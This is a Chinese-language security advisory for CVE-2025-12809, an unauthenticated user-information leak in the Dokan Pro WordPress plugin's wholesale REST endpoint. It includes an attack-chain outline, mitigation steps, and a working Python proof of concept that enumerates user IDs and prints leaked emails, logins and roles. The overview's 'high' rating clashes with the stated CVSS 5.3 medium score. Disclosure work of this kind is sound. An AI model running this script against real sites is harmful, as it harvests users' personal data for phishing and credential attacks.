IPBUF安全漏洞报告
English
CVE-2025-12809 CVSS 5.3 中危

CVE-2025-12809 WordPress Dokan Pro插件REST API未授权用户信息泄露漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-12809
漏洞类型
授权缺失/敏感信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Dokan Pro WordPress Plugin

相关标签

CVE-2025-12809授权缺失敏感信息泄露用户枚举REST API漏洞WordPress插件Dokan Pro未授权访问Broken Access Control

漏洞概述

CVE-2025-12809是WordPress知名电商插件Dokan Pro中发现的一个高危安全漏洞。该漏洞存在于插件提供的REST API接口中,由于开发人员在实现`/dokan/v1/wholesale/register`接口时缺少必要的权限验证(capability check),导致任何未认证的互联网用户都可以访问该接口并获取系统中的敏感用户信息。攻击者只需构造特定的HTTP请求并提供目标用户的ID,即可枚举并获取包括邮箱地址、用户名、显示名称、用户角色和注册日期在内的多项敏感数据。此类信息泄露可能为后续的钓鱼攻击、暴力破解、社会工程学攻击提供宝贵的情报支持。由于该漏洞影响所有版本至4.1.3的Dokan Pro插件,且利用难度低、无需特殊技术门槛,因此对使用该插件的WordPress网站构成严重威胁。建议受影响用户立即采取修复措施。

技术细节

漏洞根源在于Dokan Pro插件REST API路由注册时未实施权限检查机制。当WordPress REST API接收到针对`/dokan/v1/wholesale/register`端点的请求时,插件直接处理请求而未验证调用者是否具备相应权限。攻击者可通过发送带有用户ID参数的GET或POST请求来触发漏洞,例如:`GET /wp-json/dokan/v1/wholesale/register?user_id=1`。服务器响应将包含该用户ID对应的敏感信息,包括email字段、user_login、display_name、roles数组以及user_registered时间戳。由于WordPress用户ID通常为顺序递增的整数,攻击者可编写脚本自动化遍历用户ID范围,实现大规模用户信息采集。该漏洞属于OWASP Top 10中的A01:2021 Broken Access Control类别,CVSS 3.1评分5.3(AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N),对机密性造成低至中等程度影响。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者扫描使用Dokan Pro插件的WordPress网站,通过访问/wp-json/dokan/v1/wholesale/register端点验证插件是否存在
STEP 2
步骤2
探测阶段:发送带有user_id参数的HTTP请求(如user_id=1),确认API响应中包含敏感用户信息如邮箱地址
STEP 3
步骤3
枚举阶段:编写自动化脚本,遍历连续的用户ID范围(1, 2, 3...),批量获取系统中所有注册用户的敏感信息
STEP 4
步骤4
数据收集:整理收集到的用户名、邮箱、角色、注册时间等信息,构建用户数据库用于后续攻击
STEP 5
步骤5
利用阶段:利用泄露的用户信息实施钓鱼攻击、暴力破解凭证、社会工程学攻击或针对性APT行动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-12809 PoC - Dokan Pro Unauthenticated User Enumeration # Target: WordPress site with Dokan Pro plugin <= 4.1.3 import requests import json import sys def check_dokan_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-12809 Dokan Pro plugin /dokan/v1/wholesale/register endpoint lacks authentication """ # Remove trailing slash target_url = target_url.rstrip('/') # Construct the vulnerable endpoint endpoint = f"{target_url}/wp-json/dokan/v1/wholesale/register" print(f"[*] Testing target: {target_url}") print(f"[*] Endpoint: {endpoint}") print("-" * 60) # Test with different user IDs (typically starting from 1) vulnerable_users = [] for user_id in range(1, 20): # Scan first 20 user IDs try: # Method 1: GET request with user_id parameter params = {"user_id": user_id} response = requests.get(endpoint, params=params, timeout=10, verify=False) if response.status_code == 200: try: data = response.json() if data and len(data) > 0: print(f"[+] User ID {user_id}: Found") print(f" Response: {json.dumps(data, indent=2)}") vulnerable_users.append({"id": user_id, "data": data}) except json.JSONDecodeError: pass # Method 2: POST request post_data = {"user_id": user_id} response = requests.post(endpoint, json=post_data, timeout=10, verify=False) if response.status_code == 200: try: data = response.json() if data and len(data) > 0: print(f"[+] User ID {user_id} (POST): Found") print(f" Response: {json.dumps(data, indent=2)}") if not any(u['id'] == user_id for u in vulnerable_users): vulnerable_users.append({"id": user_id, "data": data}) except json.JSONDecodeError: pass except requests.exceptions.RequestException as e: print(f"[-] Error testing user ID {user_id}: {e}") continue print("-" * 60) if vulnerable_users: print(f"[!] VULNERABLE: Found {len(vulnerable_users)} users via enumeration") return True else: print("[-] Target may not be vulnerable or no users found in range") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12809-poc.py <target_url>") print("Example: python cve-2025-12809-poc.py https://example.com") sys.exit(1) target = sys.argv[1] check_dokan_vulnerability(target)

影响范围

Dokan Pro WordPress Plugin <= 4.1.3

防御指南

临时缓解措施
由于该漏洞利用无需认证且技术门槛低,在无法立即升级插件的情况下,建议采取以下临时缓解措施:1)使用WordPress安全插件(如Wordfence)配置防火墙规则阻止对/dokan/v1/wholesale/register端点的未授权访问;2)通过.htaccess或Nginx配置限制该API路径的访问来源;3)临时禁用Dokan Pro插件的批发(wholesale)功能模块;4)加强WordPress用户密码策略以应对可能的暴力破解风险;5)启用双因素认证增强管理员账户安全。但最根本的修复方案仍是尽快升级到插件官方发布的安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表